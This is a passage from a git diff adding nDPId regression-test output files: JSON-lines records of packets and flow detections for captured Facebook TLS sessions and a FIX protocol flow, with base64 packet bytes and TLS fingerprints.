3LmRpZ2ljZXJ0LmNvbS9DUFMwHQYDVR0OBBYEFFFo\/5CvAgd1PMzZZWRiohK4WXI7MB8GA1UdIwQYMBaAFLE+w2kD+L9HAdSYJhoIAu9jZCvDMA0GCSqGSIb3DQEBCwUAA4IBAQAYipWJA+Zt31z8HWjqSo+D1lEvjWs="} +00423{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393122,"pkt_ts_usec":981949,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"mAyC0zx8MFLLbJwbCABFAAA04NNAAEAGjxXAqCsSQtycRMtiAbv14bw37B3+S4AQARLLAQAAAQEICgBLXHa7uwlz"} +00969{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393122,"pkt_ts_usec":982477,"pkt_caplen":463,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":463,"pkt_l4_len":429,"pkt":"MFLLbJwbmAyC0zx8CABFAAHB+h5AAE0GZz1C3JxEwKgrEgG7y2LsHf5L9eG8N4AYADuw+gAAAQEICru7CXMAS1wYRBaerGP10m5shJmLqoFxhFvtNE6wt3mSKcwtgGrwjiDheaT+A0cT6vWGyllxffQElmvTWVg9\/tMxJVwYOISj5p+C\/YxbmDFOzXieGv2Fy0mq8ieLmXL8PqrVQQva1TahvxxuR0l\/XtlIfAPZ\/YtJoJgmQkDr1pIRpGQKV1TE9R3WAl5rrO7EgJoScvpWk9f\/vzCFBjC\/C39O\/1cFnSTthcMr+6Z1qKwtFu99eSey68KdCwfqqoXTAaMgKEFZQyjSgeOq9ux7O3e2QGKABUFFAe8XBj7ewDObZ9NhLnKH5Gn8EgBXQB5w9R7JtBYDAwCUDAAAkAMAF0EERq6qtVs+wlPiSpplvzQpl8xqpRCV1pYimiyndghyaLi0KrU\/et7CPLDLOIucFZNxmUMTOUmvE4hnP2Wy2B9megYDAEcwRQIhAP67F\/d984Px9CxMpzSME8RoPRYET1dJTXwpWwn2T8hCAiBggRuhv+1VT+cAs37zbeQCKLzT3F7BpIYqvzA+mB42GhYDAwAEDgAAAA=="} +01241{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":10,"source":"facebook.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":10,"flow_first_seen":1472393122365,"flow_last_seen":1472393122982,"flow_tot_l4_data_len":3705,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":370,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.18","dst_ip":"66.220.156.68","src_port":52066,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Facebook","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"facebook.com","server_names":"*.facebook.com,*.facebook.net,*.fb.com,*.fbcdn.net,*.fbsbx.com,*.m.facebook.com,*.messenger.com,*.xx.fbcdn.net,*.xy.fbcdn.net,*.xz.fbcdn.net,facebook.com,fb.com,messenger.com","ja3":"bfcc1a3891601edb4f137ab7ab25b840","ja3s":"2d1eb5817ece335c24904f516ad5da12","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA","issuerDN":"C=US, ST=CA, L=Menlo Park, O=Facebook, Inc., CN=*.facebook.com","alpn":"h2,spdy\/3.1,http\/1.1","fingerprint":"A0:4E:AF:B3:48:C2:6B:15:A8:C1:AA:87:A3:33:CA:A3:CD:EE:C9:C9"}} +00426{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393122,"pkt_ts_usec":982487,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"mAyC0zx8MFLLbJwbCABFAAA04NRAAEAGjxTAqCsSQtycRMtiAbv14bw37B3\/2IAQASjLAQAAAQEICgBLXHa7uwlz"} +00599{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393122,"pkt_ts_usec":990165,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"mAyC0zx8MFLLbJwbCABFAACy4NVAAEAGjpXAqCsSQtycRMtiAbv14bw37B3\/2IAYASjLfwAAAQEICgBLXHi7uwlzFgMDAEYQAABCQQSAlgFY9IZcjwQPBd3SSxYnf5W+I6IUQLtCuTFvKSoeSzJNC4vEueRm01PoOXo\/YGxo9wieuDET4bYBjDPBwwHxFAMDAAEBFgMDACgAAAAAAAAAAH5uX9yyXIxa\/zk1zAh0oKXPuwxd4KdkybU1YwbgOWCw"} +00950{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393122,"pkt_ts_usec":993660,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"mAyC0zx8MFLLbJwbCABFAAGz4NZAAEAGjZPAqCsSQtycRMtiAbv14by17B3\/2IAYASjMgAAAAQEICgBLXHm7uwlzFwMDAJgAAAAAAAAAAc1QwtVeiDayGp42RLjeGVZj7uusHrtykGKrYSjjNBGdfytHTjX9BqGrlhXFHpRI5ItIqF5wbI3Nqys0ptk4tAzrygmznNhWxQoPu52Y\/2q5ev1hTqM9zVAYO69k9ViDv4PGfZTA\/mKDh9u35bh5+5Lc+9VnxzGiacOoCBjoFoHl0efTCcO8J9jn5m9LpinK4BcDAwDdAAAAAAAAAAI++\/8fKkykP9LN2diw\/ZLeccHIf7AmammL3LSyLuG0NLtQIzrm3wKc263vGeN\/FtNieDg6mLxo5Stcs0lEBjR882KaYUmxO7s+M7nLDtv9QkHTeOCqHja00h\/9SIxm\/cBIYs79aawQSgEsMqI6BriBpjfnVPwivJ2yY2AOlfd43Sk3tdCCAEBJBDmKf2K49XMIJLldx3c21U\/bO0GCSz+ps54bHcM7PzkTD8mhzMUCbgFfPa2vUMFnPfXJsl3toBxWZxDo4tx04+z2k4vusMRjzjy7x\/o="} +00782{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393123,"pkt_ts_usec":391297,"pkt_caplen":324,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":324,"pkt_l4_len":290,"pkt":"MFLLbJwbmAyC0zx8CABFAAE2+h9AAE0GZ8dC3JxEwKgrEgG7y2LsHf\/Y9eG8tYAYADvLfwAAAQEICru7CtAAS1x4FgMDAMoEAADGAAKjAADAFQiR\/u1qMSyuiMG2jw0zD0BOx2ZEoC+h5yfZ\/aHoiKV3agik\/rOIcv8JwkST852oQ+ROkK1rjV\/TZjXRBB5lldDYcaKy6KlnuCIAl26B6voPrnm\/eMncwrwsOJt6ySPFwAoK1XUVBKrtRNpVUB9MB3kJyjmXk0vHN8sOa8PKBJZkPxVqY1F\/hstlsqgEtyaTW5BmX1FNIh7VpSwUBZ+UWIhRtcJRMowhsds+M2OCtUGV7eCAtsg9z0MSUxkUoQaXFAMDAAEBFgMDACgSNvkDis0ZoSTD4XoWdCm\/HywniGJgJMyf0JxvM2W\/MIyhKa7W1\/lx"} +00536{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393123,"pkt_ts_usec":391325,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"MFLLbJwbmAyC0zx8CABFAACF+iBAAE0GaHdC3JxEwKgrEgG7y2LsHgDa9eG8tYAYADt+fAAAAQEICru7CtAAS1x4FwMDAEwSNvkDis0ZotYDEUHWuujm70FV+TWEIePaonjZDsqD2mGpm1zTEdYm0dp9+D54ih5TgReTCCLrCeU6vVxFhqVpVAMMpplemlzSyeZD"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":19,"source":"facebook.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1472393123550,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.18","dst_ip":"31.13.86.36","src_port":44614,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393123,"pkt_ts_usec":550766,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"mAyC0zx8MFLLbJwbCABFAAA8dR1AAEAGZLPAqCsSHw1WJK5GAbsvASg9AAAAAKACchBhGgAAAgQFtAQCCAoAS10gAAAAAAEDAwc="} +00436{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393123,"pkt_ts_usec":682883,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"MFLLbJwbmAyC0zx8CABFAAA8AABAAFMGxtAfDVYkwKgrEgG7rkZw6dh2LwEoPqASNpwMewAAAgQFeAQCCAolRdDWAEtdIAEDAwg="} +00424{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393123,"pkt_ts_usec":682902,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"mAyC0zx8MFLLbJwbCABFAAA0dR5AAEAGZLrAqCsSHw1WJK5GAbsvASg+cOnYd4AQAOVhEgAAAQEICgBLXUglRdDW"} +01128{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393123,"pkt_ts_usec":683095,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"mAyC0zx8MFLLbJwbCABFAAI5dR9AAEAGYrTAqCsSHw1WJK5GAbsvASg+cOnYd4AYAOVjFwAAAQEICgBLXUglRdDWFgMBAgABAAH8AwM+9tNpxmZK\/eWu6BicR\/VdzCeqETHBQQTjNp6ce6Re6CDpbumLT\/pcQV4Yd+w5nmyQiqDe8maQl\/9twNFsjvN1qAAawCvAL8ypzKjACsAJwBPAFAAzADkALwA1AAoBAAGZAAAAFQATAAAQd3d3LmZhY2Vib29rLmNvbQAXAAD\/AQABAAAKAAgABgAXABgAGQALAAIBAAAjAMAVCJH+V6O+8X2imm8A5SDgHXzaZOkxASoAP7PEoNjKKl9CQSOx\/teLVlne5tIoYDG+cMhqc3xPewtsO6jtNu2A8OCQyx9HEmHS7QX20VvDQq\/STGmFYAcDBbKS4nC6fio3njGW7FzDfetud3qZZ7+M0xYt8VAkhG35Ct6tGM4sR0dgJpKxO\/\/uHgQ595Wbqzav3mtgVLdqqXZj+Rm0AO2brTOq4RRSAn0Yz2Qs7sU+3hKk3fw1CrFvT3svUypcWbkzdAAAABAAFwAVAmgyCHNwZHkvMy4xCGh0dHAvMS4xAAUABQEAAAAAAA0AGAAWBAEFAQYBAgEEAwUDBgMCAwUCBAICAgAVAFkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00742{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":23,"source":"facebook.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1472393123550,"flow_last_seen":1472393123683,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.18","dst_ip":"31.13.86.36","src_port":44614,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Facebook","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.facebook.com","ja3":"5c60e71f1b8cd40e4d40ed5b6d666e3f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,spdy\/3.1,http\/1.1"}} +00424{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393123,"pkt_ts_usec":837584,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"MFLLbJwbmAyC0zx8CABFAAA0CRtAAFMGvb0fDVYkwKgrEgG7rkZw6dh3LwEqQ4AQADtuqgAAAQEICiVF0WwAS11I"} +00626{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393123,"pkt_ts_usec":838069,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"MFLLbJwbmAyC0zx8CABFAADGCRxAAFMGvSofDVYkwKgrEgG7rkZw6dh3LwEqQ4AYADv9TQAAAQEICiVF0WwAS11IFgMDAFoCAABWAwOyE6NOKTMBswvrpLFOz1jmB39VCfqFE6Rr+kbsG3T56yDpbumLT\/pcQV4Yd+w5nmyQiqDe8maQl\/9twNFsjvN1qMArAAAO\/wEAAQAAEAAFAAMCaDIUAwMAAQEWAwMAKPBm4AzPMe30kcGHV47ykMueUWB5RUjEcIK30bhxhSXw4FWjRJShiRs="} +00798{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":25,"source":"facebook.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":6,"flow_first_seen":1472393123550,"flow_last_seen":1472393123838,"flow_tot_l4_data_len":871,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.18","dst_ip":"31.13.86.36","src_port":44614,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Facebook","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.facebook.com","ja3":"5c60e71f1b8cd40e4d40ed5b6d666e3f","ja3s":"96681175a9547081bf3d417f1a572091","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256","alpn":"h2,spdy\/3.1,http\/1.1"}} +00424{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393123,"pkt_ts_usec":838077,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"mAyC0zx8MFLLbJwbCABFAAA0dSBAAEAGZLjAqCsSHw1WJK5GAbsvASpDcOnZCYAQAO1hEgAAAQEICgBLXXclRdFs"} +00495{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393123,"pkt_ts_usec":838321,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"mAyC0zx8MFLLbJwbCABFAABndSFAAEAGZITAqCsSHw1WJK5GAbsvASpDcOnZCYAYAO1hRQAAAQEICgBLXXclRdFsFAMDAAEBFgMDACgAAAAAAAAAAFa8+ZgbktrV2bEUW\/LVlxKn8iTxi1uR4wfFZ6+jvK3W"} +00950{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393123,"pkt_ts_usec":841603,"pkt_caplen":452,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":452,"pkt_l4_len":418,"pkt":"mAyC0zx8MFLLbJwbCABFAAG2dSJAAEAGYzTAqCsSHw1WJK5GAbsvASp2cOnZCYAYAO1ilAAAAQEICgBLXXglRdFsFwMDAJgAAAAAAAAAAa1AvEsdEhKWtFsYyKCSIZFQb24K0xqOqsKQSejpyp2bP9QjXILHDCqannIgzjwRWOPvR1sfRj6X5M5ncKKgcGTJ4wV6DAVzLtEDTFXGdOgt69+4lyfXgI3tmSRm910P3v78r1ADwQw9K4lDgUSelpEV4iM2BLBa1TLJpDvlv2BDELBMZLhosoZL6dBgi\/bqHRcDAwDgAAAAAAAAAALpwqa95RaQnPy5hX3XtEuUJjJ6\/OuaqpSYnLHWy5ddTG1RbBdEv5zPZ+z+QfrLzaawhKi8Z5rOr6unurnL86TuyICCxizNXVJKGgjCtzDaFSJqbT9C\/ZUDJVOGdP6YBzuq+KlkfeG5kXVevU49J1u2I\/7rHNcTEQuRJzwUCl7qJnxFD4ue8qDO9FZwZ9uyQpvPq9T7m5dx9jo6hlY3PV\/Hdv6yNi6jgzS5od5hXZExZug3vGU7e7eZavjJ5+HZgUnxn\/sZIvn6X4xu61ztPKrDKNWiTE4W\/t4="} +00537{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393123,"pkt_ts_usec":967430,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"MFLLbJwbmAyC0zx8CABFAACFCR1AAFMGvWofDVYkwKgrEgG7rkZw6dkJLwEqdoAYADutnAAAAQEICiVF0eUAS113FwMDAEzwZuAMzzHt9dBCSzHivMG3r6DcPFwF6hAddU2BOvgL3UVkvvQZQWHGSV5E6RK\/5NRZRuZrMhIYTnxkF4rTCUgunoD1ESvrgLjPuiSv"} +00481{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393123,"pkt_ts_usec":967524,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"mAyC0zx8MFLLbJwbCABFAABadSNAAEAGZI\/AqCsSHw1WJK5GAbsvASv4cOnZWoAYAO1hOAAAAQEICgBLXZ0lRdHlFwMDACEAAAAAAAAAAwfBHk\/nx32zgq2UbuqHxsqi+6uyrYxK1og="} +00479{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393123,"pkt_ts_usec":967872,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"MFLLbJwbmAyC0zx8CABFAABaCR5AAFMGvZQfDVYkwKgrEgG7rkZw6dlaLwEr+IAYAD9eWgAAAQEICiVF0eUAS114FwMDACHwZuAMzzHt9kyPc9NsR3405p8lt7t2i+uK2btQV7qZuBY="} +00484{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393123,"pkt_ts_usec":968290,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"MFLLbJwbmAyC0zx8CABFAABeCR9AAFMGvY8fDVYkwKgrEgG7rkZw6dmALwEr+IAYAD9ngQAAAQEICiVF0eUAS114FwMDACXwZuAMzzHt97ZyjO39DSkFoBZdHFHJZUlTmsJ7MnD+3N\/jhCYy"} +00425{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393123,"pkt_ts_usec":968321,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"mAyC0zx8MFLLbJwbCABFAAA0dSRAAEAGZLTAqCsSHw1WJK5GAbsvASwecOnZqoAQAO1hEgAAAQEICgBLXZ4lRdHl"} +02314{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"facebook.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1472393124,"pkt_ts_usec":87521,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"MFLLbJwbmAyC0zx8CABFAAWgCSBAAFMGuEwfDVYkwKgrEgG7rkZw6dmqLwEr+IAQAD\/xPQAAAQEICiVF0mIAS114FwMDBfTwZuAMzzHt+F\/CnhQc4vog1mXqgUZ7RovGYIf4aFPsiVxEl4j6uvny01g1HY6CBgPuO4sMMP0VKo58e\/op5HRJ64ooOSmwtghUYOYrD54VKVDnxPI\/StkMSinVYzLPaZzw\/M1yLnJ6M78+Bu1Xzt\/gKy6A+MGHvUIf1GPzb+AwCG0XotLwxlTIg3\/MmjciLEwsjGHxiJkEjLN82mGKZu4zJ3N3uyhp5fJSHAbiJ4MXgne2LRjkGFnoXhzV25ABOUQUX6BPTDM8YrAMKPsuVIUsq5qyXXzTYsrimkbBLe++PLrcRI97c4M0M6J5cF8eoanyXRRRcNqKrZEenJQGf6VNxZO974VnB0\/Jck1VYDdyz3esX3JphaCS5oeDahP75ZwLlYD\/el8mOsXWly7ZzB\/MNhB9u4gP2e5R0fZXmbgcaqbkCOYnPmjlwAwNjO+CKYvGZrEYmAb3DUbQon+vciE9Gh3fraldg4xNx0Unr1MZEAiwOxUhIy\/kbx4BhQaBgBqXt0cb2N9mgpdXTKwwYbx3ET9Ev+Nq8eJmgNpLdk2FEQRz2+\/swRlxb9wKznyl+GtIQifFL30gxdlmmNv2V8MGgY6Bpik3KNjMhpyE4LDCy1hoKsiw35gfIh1dfQWgVF+NeJd6I5btZ\/L\/JBVApU38+cIIgxjB5eBP45OzfOUol5vz5Ds2LMYzkXLrgL4fRfn5qH52w38zGW8T+CadqAJleSXsNbrX5JXHYqJx6HxIhnYkGqMGK2dU692XQLtg0hcEJD1397W9181YyiKnRPSfl8kFe4JsjrJQhBF2oAisZ+F\/sFybYwicovw3hcVUS\/+MM8l7fN7F17pQOuasUdmqLBvAj00Cf0y1B9tpPYxQGZcRPdC4C99pWoYtTTaKrsG23KIbYStpVMS6soexTSPR7xdY7LSPumwUbMrPeADSIxzJz0SXXvDKG3fykIUEaEh7ovOGhqs6Pv6eJ9cchQ4Quz6OZvHxuM6Ll\/wQonAMDdl4nozVygotuVtEB\/r0slhT0qHsnyHp\/C9f6b6sRUHrll7jb99Cj3WszOGc8+y+NM6mN5fN3JGy2cFQJUbZCVD5JNZkmfSDY56H\/oSma\/wSionWOvplj0WSqlc512FY7RMVZS7rorj7D9Lm0ZzYGo+JBW5YJDouUOP99Aei+3qU4pI9xCJCg1yIoma2N+ZG+n76z72ZAAaNeWbFaQ9z610MopjNuhVVsVk\/hAyFMzGTGbhs\/WG9yOavdTToAL68tXUCoRJF88ZfOjRINv+b\/m\/zdqK4XMLpYwkkmtBWnLPbIktxXaMwDWPHw1E8NCxpKHIU8qcXMTagjXwTOTAfHbE2BvwuvYVwy5tgglBwegL9dB6xW8WO5D4rul3PKNO36o+A7RLWJgo\/7\/gD7FMMqi29XFPaq2G07BefT1OVbTFbW3O0uSozE5X\/EiHPn1Ts4sX\/G8s41bbkWcuJF2+rO0O1HG8dN+DmyOCPkk1AOMvT0O+V9oR5xFuirOQcHXZPpHDu8plVBrr+3qZgOmIWj5g5cjnYrncmd40kAgqxsDyVCCvmws+PtrgbH1vQk+682M85K2\/kHGVGiNbwiHrUmRoLwzWNAlejGLoiuOoXWhnPE\/nLesC5ZR7QliWUPg5RgWuwveUB4rfa4tlujgiKoXv0pgyhXfcfbLcm5Zr\/7NyUCLo2jnw+b7Y1qqPSBLP0vccfDk3eBh3IwPZJg5ZmZQaCVwzquphe7W4bHr0wdJIzJibEfBiICpoNq3Ly2cYVCDFTeVfZsVtdWCiIOmkg4+ha5qE73D6jX+3ha8dDGlybO2L29HSXijqjQbYATwm9lTdIQmGcxOs="} diff --git a/test/results/fix.pcap.out b/test/results/fix.pcap.out new file mode 100644 index 000000000..a94ad598a --- /dev/null +++ b/test/results/fix.pcap.out @@ -0,0 +1,172 @@ +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"fix.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1493755109242,"flow_last_seen":0,"flow_tot_l4_data_len":118,"flow_min_l4_data_len":118,"flow_max_l4_data_len":118,"flow_avg_l4_data_len":118,"midstream":1,"l3_proto":"ip4","src_ip":"8.17.22.31","dst_ip":"192.168.0.20","src_port":4000,"dst_port":43594,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00540{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":242949,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"THK5MeMlACJNe\/gxCABFAACKT3MAAPUGlw4IERYfwKgAFA+gqko3bYCMRQ1qAYAY\/\/+s3wAAAQEICsq+JozkIvOrOD1PATk9MDA3NQEzNT1HAQIgAAANgQxAKWj1wo9cKQAAAAEAABRnDEBj4euA7PpqAAAAAQAADiEMQENwo99tuUEAAAABAAAMAwxAYm64YJmdywAAAAE="} +00491{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"fix.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1493755109242,"flow_last_seen":0,"flow_tot_l4_data_len":118,"flow_min_l4_data_len":118,"flow_max_l4_data_len":118,"flow_avg_l4_data_len":118,"midstream":1,"l3_proto":"ip4","src_ip":"8.17.22.31","dst_ip":"192.168.0.20","src_port":4000,"dst_port":43594,"l4_proto":"tcp","ndpi": {"proto":"FIX","breed":"Safe","category":"RPC"}} +00421{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"fix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1493755109,"pkt_ts_usec":243158,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ACJNe\/gxTHK5MeMlCABFAAA04yxAAEAGeKvAqAAUCBEWH6pKD6BFDWoBN22A4oAQ\/+CtQgAAAQEICuQi8\/bKviaM"} 